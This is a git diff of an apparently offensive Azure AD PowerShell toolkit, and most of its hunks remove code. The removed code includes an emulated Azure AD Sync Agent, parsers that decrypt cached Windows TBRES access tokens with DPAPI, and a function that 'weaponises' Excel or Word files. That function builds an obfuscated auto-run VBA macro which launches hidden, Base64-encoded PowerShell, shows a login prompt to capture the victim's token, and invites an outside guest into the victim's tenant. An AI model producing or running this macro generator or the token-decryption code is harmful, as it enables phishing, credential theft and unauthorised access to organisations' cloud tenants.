"ReservedSpaceBytes" = $reservedSpaceBytes
|
||||
}
|
||||
|
||||
return New-Object -TypeName PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
-157
@@ -56,160 +56,3 @@ function Register-SyncAgent
|
||||
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType Sync -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
|
||||
}
|
||||
}
|
||||
|
||||
# Invokes the Sync Agent
|
||||
|
||||
function Invoke-SyncAgent
|
||||
{
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Invokes a Sync Agent with given name and certificate.
|
||||
|
||||
.DESCRIPTION
|
||||
Invokes a Sync Agent with given name and certificate, and connects to Azure AD. Emulates Azure AD Sync Agent.
|
||||
|
||||
.Example
|
||||
Invoke-AADIntSyncAgent -MachineName "server1.company.com"
|
||||
|
||||
Connector 1 connecting to his-eur1-neur1
|
||||
Connector 2 connecting to his-eur1-neur1
|
||||
Connector 3 connecting to his-eur1-weur1
|
||||
Connector 4 connecting to his-eur1-weur1
|
||||
|
||||
Sync Agent started, waiting for logins..
|
||||
|
||||
.Example
|
||||
Register-AADIntSyncAgent -MachineName "server1.company.com"
|
||||
|
||||
Sync agent registered as server1.company.com
|
||||
Certificate saved to Sync_client_certificate.pfx
|
||||
|
||||
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com"
|
||||
|
||||
Connector 1 connecting to his-eur1-neur1
|
||||
Connector 2 connecting to his-eur1-neur1
|
||||
Connector 3 connecting to his-eur1-weur1
|
||||
Connector 4 connecting to his-eur1-weur1
|
||||
|
||||
Sync Agent started, waiting for logins..
|
||||
|
||||
.Example
|
||||
$pt=Get-AADIntAccessTokenForPTA
|
||||
PS C:\>Register-AADIntSyncAgent -AccessToken $pt -MachineName "server1.company.com" -FileName server1.pfx
|
||||
|
||||
Sync agent registered as server1.company.com
|
||||
Certificate saved to server1.pfx
|
||||
|
||||
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com" -FileName server1.pfx
|
||||
|
||||
Connector 1 connecting to his-eur1-neur1
|
||||
Connector 2 connecting to his-eur1-neur1
|
||||
Connector 3 connecting to his-eur1-weur1
|
||||
Connector 4 connecting to his-eur1-weur1
|
||||
|
||||
Sync Agent started, waiting for logins..
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$MachineName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$fileName="Sync_client_certificate.pfx"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Clean the old jobs
|
||||
Get-Job | Remove-Job -Force
|
||||
|
||||
# Load the certificate
|
||||
$fullPath = (Get-Item $fileName).FullName
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::CreateFromCertFile($fullPath)
|
||||
|
||||
# Get the bootStraps
|
||||
$BootStraps = Get-BootstrapConfiguration -MachineName $MachineName -fileName $fileName
|
||||
$max = 10
|
||||
|
||||
$connectors = @()
|
||||
|
||||
foreach($BootStrap in $bootStraps)
|
||||
{
|
||||
if($connectors.Length -gt $max)
|
||||
{
|
||||
break
|
||||
}
|
||||
|
||||
$id=($connectors.count+1)
|
||||
|
||||
# The startup script
|
||||
$sb={
|
||||
param($BootStrap, $cert)
|
||||
. "$PSScriptRoot\MSAppProxy_utils.ps1";
|
||||
Connect-ToBus -BootStrap $BootStrap -cert $cert
|
||||
}
|
||||
|
||||
# Create a synchronized hashtable for status etc.
|
||||
$status=[hashtable]::Synchronized(@{})
|
||||
|
||||
# Create the runspace etc.
|
||||
$rs=[runspacefactory]::CreateRunspace()
|
||||
$ps=[powershell]::Create()
|
||||
$ps.Runspace = $rs
|
||||
$rs.Open()
|
||||
$rs.SessionStateProxy.SetVariable("status",$status)
|
||||
|
||||
$ps.AddScript($sb)
|
||||
$ps.AddArgument($BootStrap)
|
||||
$job = $ps.BeginInvoke()
|
||||
|
||||
$name = "$id-$($BootStrap.Namespace)"
|
||||
|
||||
# Create a connector object
|
||||
$connector = New-Object PSObject
|
||||
$connector | Add-Member -NotePropertyName "Name" -NotePropertyValue ($name)
|
||||
$connector | Add-Member -NotePropertyName "PowerShell" -NotePropertyValue ($ps)
|
||||
$connector | Add-Member -NotePropertyName "Runspace" -NotePropertyValue ($rs)
|
||||
$connector | Add-Member -NotePropertyName "Job" -NotePropertyValue ($job)
|
||||
$connector | Add-Member -NotePropertyName "Status" -NotePropertyValue ($status)
|
||||
|
||||
$connectors+=$connector
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
$colors=@("Yellow","White","Cyan","Red")
|
||||
while($true)
|
||||
{
|
||||
$running = $connectors.count
|
||||
|
||||
Clear-Host
|
||||
|
||||
foreach($connector in $connectors)
|
||||
{
|
||||
Write-Host "$($connector.Name) Completed: $($connector.job.IsCompleted) Status: $($connector.status.status)" -ForegroundColor $colors[$((([int]$connector.Name.Substring(0,1))-1)%4)]
|
||||
if($connector.job.IsCompleted)
|
||||
{
|
||||
$connector.PowerShell.EndInvoke($connector.job)
|
||||
$connector.Runspace.Close()
|
||||
$running--
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if($running -eq 0)
|
||||
{
|
||||
Write-Host "All connectors completed. Exiting.."
|
||||
break
|
||||
}
|
||||
Start-Sleep -Seconds 3
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,328 +0,0 @@
|
||||
# This file contains functions to read and decrypt TBRES files
|
||||
|
||||
# Parses TBRES files
|
||||
# Nov 18 2021
|
||||
Function Parse-TBRES
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Strip the null terminator, convert to string and parse json.
|
||||
$json = [text.encoding]::Unicode.GetString($Data,0,$Data.Length).TrimEnd(0x00) | ConvertFrom-Json
|
||||
|
||||
# Get the encrypted content
|
||||
$txtEncrypted = $json.TBDataStoreObject.ObjectData.SystemDefinedProperties.ResponseBytes.Value
|
||||
|
||||
# Convert B64 to byte array
|
||||
$binEncrypted = Convert-B64ToByteArray -B64 $txtEncrypted
|
||||
|
||||
# If protected, decrypt with DPAPI
|
||||
if($json.TBDataStoreObject.ObjectData.SystemDefinedProperties.ResponseBytes.IsProtected)
|
||||
{
|
||||
$binDecrypted = [Security.Cryptography.ProtectedData]::Unprotect($binEncrypted,$null,'CurrentUser')
|
||||
}
|
||||
else
|
||||
{
|
||||
$binDecrypted = $binEncrypted
|
||||
}
|
||||
|
||||
# Parse the expiration time
|
||||
$fileTimeUtc = [BitConverter]::ToUInt64((Convert-B64ToByteArray $json.TBDataStoreObject.ObjectData.SystemDefinedProperties.Expiration.Value),0)
|
||||
$expires = [datetime]::FromFileTimeUtc($fileTimeUtc)
|
||||
|
||||
if((Get-Date).ToUniversalTime() -ge $expires)
|
||||
{
|
||||
Write-Warning "Token is expired"
|
||||
return
|
||||
}
|
||||
|
||||
return Parse-TBRESResponseBytes -Data $binDecrypted
|
||||
}
|
||||
}
|
||||
|
||||
# Parses ResponseBytes TBRES files
|
||||
# Nov 18 2021
|
||||
Function Parse-TBRESResponseBytes
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
Begin
|
||||
{
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Parses version number from TBRES response bytes
|
||||
# Nov 20 2021
|
||||
Function Parse-TBRESVersion
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[byte[]]$Data,
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[ref]$Position,
|
||||
[parameter(Mandatory=$false,ValueFromPipeline)]
|
||||
[int[]]$ExpectedVersions = @(1,2)
|
||||
)
|
||||
Process
|
||||
{
|
||||
$p = $Position.Value
|
||||
$version = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
if($ExpectedVersions -notcontains $version)
|
||||
{
|
||||
Throw "Invalid version $version, expected one of $($ExpectedVersions -join ',')"
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
}
|
||||
}
|
||||
|
||||
# Parses key-value pairs from decrypted TBRES response bytes
|
||||
# Nov 20 2021
|
||||
Function Parse-TBRESKeyValue
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[byte[]]$Data,
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[ref]$Position
|
||||
)
|
||||
Process
|
||||
{
|
||||
$p = $Position.Value
|
||||
$keyType = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
if($keyType -ne 0x0c)
|
||||
{
|
||||
Throw "Invalid key type $keyType"
|
||||
}
|
||||
$keyLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
$binKey = $Data[$p..($p + $keyLength -1)]; $p += $keyLength
|
||||
$key = [text.encoding]::UTF8.GetString($binKey)
|
||||
|
||||
$valueType = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
switch($valueType)
|
||||
{
|
||||
0x0C # String
|
||||
{
|
||||
$valueLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
$value = [text.encoding]::UTF8.GetString($Data,$p,$valueLength); $p += $valueLength
|
||||
break
|
||||
}
|
||||
0x04 # UInt 32
|
||||
{
|
||||
$value = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
break
|
||||
}
|
||||
0x05 # UInt 32
|
||||
{
|
||||
$value = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
break
|
||||
}
|
||||
0x06 # Timestamp
|
||||
{
|
||||
$timestamp = [BitConverter]::ToUInt64($Data[($p + 7)..$p],0); $p += 8
|
||||
$value = [datetime]::FromFileTimeUtc($timestamp)
|
||||
break
|
||||
}
|
||||
0x07 # UInt 64
|
||||
{
|
||||
$value = [BitConverter]::ToUInt64($Data[($p + 7)..$p],0); $p += 8
|
||||
break
|
||||
}
|
||||
0x0D # Guid
|
||||
{
|
||||
$value = [guid][byte[]]$Data[$p..($p + 15)]; $p += 16
|
||||
break
|
||||
}
|
||||
1025 # Content identifier?
|
||||
{
|
||||
# This is the second content "identifier"
|
||||
if($binKey.Length -eq 1 -and $binKey[0] -gt 1)
|
||||
{
|
||||
Write-Verbose "Content identifier $($binKey[0]), getting the next Key-Value."
|
||||
# Read the size
|
||||
$length = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
|
||||
# Parse version
|
||||
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
|
||||
|
||||
# Get the next value
|
||||
$next = Parse-TBRESKeyValue -Data $Data -Position ([ref]$p)
|
||||
$key = $next.Key
|
||||
$value = $next.Value
|
||||
break
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Verbose "Unknown value type $valueType"
|
||||
$value = $valueType
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
|
||||
return [PSCustomObject][ordered]@{
|
||||
"Key" = $key
|
||||
"Value" = $value
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Parses elements from decrypted TBRES response bytes content
|
||||
# Nov 20 2021
|
||||
Function Parse-TBRESElement
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
param(
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[byte[]]$Data,
|
||||
[parameter(Mandatory=$true,ValueFromPipeline)]
|
||||
[ref]$Position,
|
||||
[parameter(Mandatory=$false,ValueFromPipeline)]
|
||||
[PSCustomObject]$Element
|
||||
)
|
||||
Process
|
||||
{
|
||||
$p = $Position.Value
|
||||
$value = $null
|
||||
|
||||
# Parse element & length
|
||||
if(!$Element)
|
||||
{
|
||||
$element = Parse-TBRESKeyValue -Data $Data ([ref]$p)
|
||||
}
|
||||
Write-Debug $element
|
||||
|
||||
$elementLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
|
||||
if($element.Key -eq "WTRes_Error")
|
||||
{
|
||||
Write-Verbose "WTRes_Error file, skipping.."
|
||||
return $null
|
||||
}
|
||||
elseif($element.Key -eq "WTRes_Token")
|
||||
{
|
||||
Write-Verbose "Parsing WTRes_Token"
|
||||
|
||||
# We already read the length so adjust
|
||||
$p -= 4
|
||||
|
||||
# Parse status
|
||||
$status = Parse-TBRESKeyValue -Data $Data ([ref]$p)
|
||||
|
||||
if($status.Value -ne 0)
|
||||
{
|
||||
Write-Warning "WTRes_Token status $($status.Value)"
|
||||
}
|
||||
|
||||
$value = $element.Value
|
||||
}
|
||||
# Parse WTRes_PropertyBag and WTRes_Account
|
||||
else
|
||||
{
|
||||
$propertyBagStart = $p
|
||||
|
||||
Write-Verbose "Parsing $($element.Key), $elementLength bytes"
|
||||
|
||||
# Parse version
|
||||
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
|
||||
|
||||
$properties = [ordered]@{}
|
||||
While($p -lt ( $propertyBagStart + $elementLength))
|
||||
{
|
||||
$property = Parse-TBRESKeyValue -Data $Data ([ref]$p)
|
||||
if($property.Key -eq "WA_Properties" -or $property.Key -eq "WA_Provier")
|
||||
{
|
||||
$property.Value = Parse-TBRESElement -Data $Data ([ref]$p) -Element $property
|
||||
}
|
||||
$properties[$property.Key] = $property.Value
|
||||
}
|
||||
$value = [PSCustomObject]$properties
|
||||
}
|
||||
|
||||
$Position.Value = $p
|
||||
|
||||
return [PSCustomObject][ordered]@{
|
||||
"Key" = $element.Key
|
||||
"Value" = $value
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$p = 0
|
||||
|
||||
# Parse version
|
||||
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
|
||||
|
||||
# Parse expiration timestamp and responses guid
|
||||
$expiration = (Parse-TBRESKeyValue -Data $Data ([ref]$p)).value
|
||||
$responses = (Parse-TBRESKeyValue -Data $Data ([ref]$p)).value
|
||||
|
||||
# Total response content length
|
||||
$responseLen = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
|
||||
# Parse version
|
||||
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
|
||||
|
||||
|
||||
# It seems that sometimes the content have multiple "entries"
|
||||
# These start with the following key-value pair:
|
||||
# First: Key = 0x01 and Value = 1025
|
||||
# Second: Key = 0x01 and Value = 1025
|
||||
# These are handled in Parse-TBRESKeyValue function
|
||||
|
||||
$unk = Parse-TBRESKeyValue -Data $Data ([ref]$p)
|
||||
|
||||
#
|
||||
# Content
|
||||
#
|
||||
|
||||
# Content length
|
||||
$contentLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
|
||||
$contentStart = $p
|
||||
|
||||
# Parse version
|
||||
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
|
||||
|
||||
# Return value
|
||||
$properties = [ordered]@{}
|
||||
|
||||
while($p -le ($contentStart + $contentLength))
|
||||
{
|
||||
try
|
||||
{
|
||||
$element = Parse-TBRESElement -Data $Data -Position ([ref]$p)
|
||||
if($element -eq $null)
|
||||
{
|
||||
return $null
|
||||
}
|
||||
$properties[$element.Key] = $element.Value
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Got exception: $($_.Exception.Message)"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return [PSCustomObject]$properties
|
||||
}
|
||||
}
|
||||
@@ -1395,7 +1395,6 @@ function Get-TeamsExternalUserInformation
|
||||
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
|
||||
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
|
||||
|
||||
.EXAMPLE
|
||||
PS\:>Get-AADIntAccessTokenForTeams -SaveToCache
|
||||
|
||||
PS\:>Get-AADIntTeamsExternalUserInformation -UserPrincipalname = "johnd@company.com"
|
||||
@@ -1416,6 +1415,23 @@ function Get-TeamsExternalUserInformation
|
||||
.EXAMPLE
|
||||
PS\:>Get-AADIntAccessTokenForTeams -SaveToCache
|
||||
|
||||
PS\:>Get-AADIntTeamsExternalUserInformation -ObjectId "fe401a12-879c-4e5b-8b51-03e1985fa62f"
|
||||
|
||||
tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
|
||||
isShortProfile : False
|
||||
accountEnabled : True
|
||||
featureSettings : @{coExistenceMode=TeamsOnly}
|
||||
userPrincipalName : johnd@company.com
|
||||
givenName : JohnD@company.com
|
||||
surname :
|
||||
email : JohnD@company.com
|
||||
displayName : John Doe
|
||||
type : Federated
|
||||
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
|
||||
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
|
||||
|
||||
PS\:>Get-AADIntAccessTokenForTeams -SaveToCache
|
||||
|
||||
PS\:>Get-AADIntTeamsExternalUserInformation -MRI "8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841"
|
||||
|
||||
tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
|
||||
|
||||
@@ -1,152 +0,0 @@
|
||||
# This script contains functions for weaponising Office files
|
||||
|
||||
# Aug 6th 2020
|
||||
function Generate-InvitationVBA
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
|
||||
|
||||
.DESCRIPTION
|
||||
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
|
||||
|
||||
The script starts when the Excel workbook is opened:
|
||||
* Opens an Office 365 login window to get an access token
|
||||
* Using the access token, sends an invitation for the given email address
|
||||
|
||||
Copy the generated script to clipboard and paste to Excel
|
||||
|
||||
.Example
|
||||
New-AADIntInvitationVBA -Email someone@gmail.com | Set-ClipBoard
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Email,
|
||||
[Validateset("Workbook","Document")]
|
||||
[String]$Type="Workbook"
|
||||
)
|
||||
Process
|
||||
{
|
||||
#
|
||||
# Generate the PowerShell code block
|
||||
#
|
||||
|
||||
# First some needed assemblies are imported.
|
||||
# Second, a Windows form object is created with a web browser control. The Outlook app id is used.
|
||||
# Third, the login window is shown and access token is fetched
|
||||
# Finally, the invitation for the given user is sent
|
||||
|
||||
$e="`$e=""$Email"";"
|
||||
$code=@'
|
||||
Add-Type -AssemblyName System.Windows.Forms;
|
||||
Add-Type -AssemblyName System.Web;
|
||||
|
||||
$r="https://graph.microsoft.com";
|
||||
$i="d3590ed6-52b3-4102-aeff-aad2292ab01c";
|
||||
$u="urn:ietf:wg:oauth:2.0:oob";
|
||||
$l="https://login.microsoftonline.com/common/oauth2/authorize?resource=$r&client_id=$i&response_type=code&haschrome=1&redirect_uri=$u&client-request-id=$((New-Guid).ToString())&prompt=login&scope=openid profile";
|
||||
|
||||
$f=[Windows.Forms.Form]::new();
|
||||
$f.Width=560;
|
||||
$f.Height=680;
|
||||
$f.FormBorderStyle=3;
|
||||
$f.TopMost=$true;
|
||||
$w=[Windows.Forms.WebBrowser]::new();
|
||||
$w.Size=$f.ClientSize;
|
||||
$w.Anchor="Left,Top,Right,Bottom";
|
||||
$f.Controls.Add($w);
|
||||
$w.add_Navigated({if($_.Url.ToString().StartsWith($u)){$f.DialogResult="OK";$f.Close();};});
|
||||
$w.Navigate($l);
|
||||
if($f.ShowDialog()-ne"OK"){$f.Controls[0].Dispose();return};
|
||||
|
||||
$a=[Web.HttpUtility]::ParseQueryString($f.Controls[0].Url.Query);
|
||||
$b=@{client_id=$i;grant_type="authorization_code";code=$a["code"];redirect_uri=$u};
|
||||
$f.Controls[0].Dispose();
|
||||
|
||||
$c="application/x-www-form-urlencoded";
|
||||
$o=irm -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $c -Method POST -Body $b;
|
||||
$b="{""invitedUserEmailAddress"":""$e"",""sendInvitationMessage"":true,""inviteRedirectUrl"":""https://myapps.microsoft.com""}";
|
||||
$o=irm -Uri "https://graph.microsoft.com/beta/invitations" -Method Post -Body $b -Headers @{"Authorization"="Bearer $($o.access_token)"};
|
||||
'@
|
||||
# Convert the code block to Unicode and decode it with Base64
|
||||
$unicode=[text.encoding]::Unicode.getBytes("$e$code")
|
||||
$code=[convert]::ToBase64String($unicode)
|
||||
|
||||
#
|
||||
# Create the VBA Code
|
||||
#
|
||||
|
||||
# Generate a random function name
|
||||
$funcName = -join ((97..122) | Get-Random -Count 32 | % {[char]$_})
|
||||
$VBA = @"
|
||||
Private Sub $($Type)_Open()
|
||||
$funcName
|
||||
End Sub
|
||||
|
||||
Sub $funcName()`n
|
||||
"@
|
||||
|
||||
$p = 1
|
||||
|
||||
# Split the Base64 encoded code to shorter chunks
|
||||
While(($p*500) -lt $code.Length)
|
||||
{
|
||||
$codeStr = $($code.Substring(($p-1)*500,500))
|
||||
#$codeStrArr= $codeStr.ToCharArray()
|
||||
#[array]::Reverse($codeStrArr)
|
||||
#$codeStr = -join($codeStrArr)
|
||||
|
||||
$VBA += " i$p = ""$codeStr""`n"
|
||||
$p++
|
||||
}
|
||||
$VBA += " i$p = ""$($code.Substring(($p-1)*500,$code.Length-($p-1)*500))""`n"
|
||||
$VBA += " c1 = Chr(34) & ""pow"" & ""ershel"" & ""l.exe"" & Chr(34)`n"
|
||||
$VBA += " c2 = ""-EncodedCommand """
|
||||
|
||||
for($i=1;$i -lt $p+1 ; $i++)
|
||||
{
|
||||
$VBA += " & i$i"
|
||||
}
|
||||
$VBA += "`n"
|
||||
|
||||
# Set PowerShell to start as hidden
|
||||
$VBA += " c3 = "" -WindowStyle Hidden""`n"
|
||||
|
||||
# Create Wscript.shell object
|
||||
$VBA += " Set s2 = CreateObject(""Ws"" & ""cript"" & "".s"" & ""hell"")`n"
|
||||
|
||||
# Invoke the PowerShell minimized
|
||||
$VBA += " s2.Run c1 & c2 & c3, 2`n"
|
||||
$VBA += "End Sub`n"
|
||||
|
||||
# Return
|
||||
$VBA
|
||||
}
|
||||
}
|
||||
|
||||
function Scramble-Text
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Text,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Secret
|
||||
)
|
||||
Process
|
||||
{
|
||||
$secretArray=$Secret.ToCharArray()
|
||||
$num=0
|
||||
foreach($char in $secretArray)
|
||||
{
|
||||
$num+=$char
|
||||
}
|
||||
$num = $num % 256
|
||||
|
||||
$textArray = $Text.ToCharArray()
|
||||
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -1,166 +0,0 @@
|
||||
function Get-MD4{
|
||||
PARAM(
|
||||
[String]$String,
|
||||
[Byte[]]$bArray,
|
||||
[Switch]$UpperCase,
|
||||
[Switch]$AsByteArray # Added by Nestori Syynimaa Aug 23th 2019
|
||||
)
|
||||
|
||||
# Author: Larry.Song@outlook.com
|
||||
# Reference: https://tools.ietf.org/html/rfc1320
|
||||
# MD4('abc'):
|
||||
# a448017aaf21d8525fc10ae87aa6729d UTF-8
|
||||
# e0fba38268d0ec66ef1cb452d5885e53 Unicode
|
||||
$Array = [byte[]]@()
|
||||
if($String)
|
||||
{
|
||||
$Array = [System.Text.Encoding]::Unicode.GetBytes($String) # Edited by Nestori Syynimaa Nov 16th 2018
|
||||
}
|
||||
if($bArray)
|
||||
{
|
||||
$Array = $bArray
|
||||
}
|
||||
# padding 100000*** to length 448, last (64 bits / 8) 8 bytes fill with original length
|
||||
# at least one (512 bits / 8) 64 bytes array
|
||||
$M = New-Object Byte[] (([math]::Floor($Array.Count/64) + 1) * 64)
|
||||
# copy original byte array, start from index 0
|
||||
$Array.CopyTo($M, 0)
|
||||
# padding bits 1000 0000
|
||||
$M[$Array.Count] = 0x80
|
||||
# padding bits 0000 0000 to fill length (448 bits /8) 56 bytes
|
||||
# Default value is 0 when creating a new byte array, so, no action
|
||||
# padding message length to the last 64 bits
|
||||
@([BitConverter]::GetBytes($Array.Count * 8)).CopyTo($M, $M.Count - 8)
|
||||
|
||||
# message digest buffer (A,B,C,D)
|
||||
$A = [Convert]::ToUInt32('0x67452301', 16)
|
||||
$B = [Convert]::ToUInt32('0xefcdab89', 16)
|
||||
$C = [Convert]::ToUInt32('0x98badcfe', 16)
|
||||
$D = [Convert]::ToUInt32('0x10325476', 16)
|
||||
|
||||
# There is no unsigned number shift in C#, have to define one.
|
||||
Add-Type -TypeDefinition @'
|
||||
public class Shift
|
||||
{
|
||||
public static uint Left(uint a, int b)
|
||||
{
|
||||
return ((a << b) | (((a >> 1) & 0x7fffffff) >> (32 - b - 1)));
|
||||
}
|
||||
}
|
||||
'@
|
||||
|
||||
# define 3 auxiliary functions
|
||||
function FF([uint32]$X, [uint32]$Y, [uint32]$Z)
|
||||
{
|
||||
(($X -band $Y) -bor ((-bnot $X) -band $Z))
|
||||
}
|
||||
function GG([uint32]$X, [uint32]$Y, [uint32]$Z)
|
||||
{
|
||||
(($X -band $Y) -bor ($X -band $Z) -bor ($Y -band $Z))
|
||||
}
|
||||
function HH([uint32]$X, [uint32]$Y, [uint32]$Z){
|
||||
($X -bxor $Y -bxor $Z)
|
||||
}
|
||||
# processing message in one-word blocks
|
||||
for($i = 0; $i -lt $M.Count; $i += 64)
|
||||
{
|
||||
# Save a copy of A/B/C/D
|
||||
$AA = $A
|
||||
$BB = $B
|
||||
$CC = $C
|
||||
$DD = $D
|
||||
|
||||
# Round 1 start
|
||||
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0)) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0)) -band [uint32]::MaxValue, 7)
|
||||
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0)) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0)) -band [uint32]::MaxValue, 19)
|
||||
|
||||
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0)) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0)) -band [uint32]::MaxValue, 7)
|
||||
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0)) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0)) -band [uint32]::MaxValue, 19)
|
||||
|
||||
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0)) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0)) -band [uint32]::MaxValue, 7)
|
||||
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0)) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0)) -band [uint32]::MaxValue, 19)
|
||||
|
||||
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0)) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0)) -band [uint32]::MaxValue, 7)
|
||||
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0)) -band [uint32]::MaxValue, 11)
|
||||
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0)) -band [uint32]::MaxValue, 19)
|
||||
# Round 1 end
|
||||
# Round 2 start
|
||||
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
|
||||
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
|
||||
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
|
||||
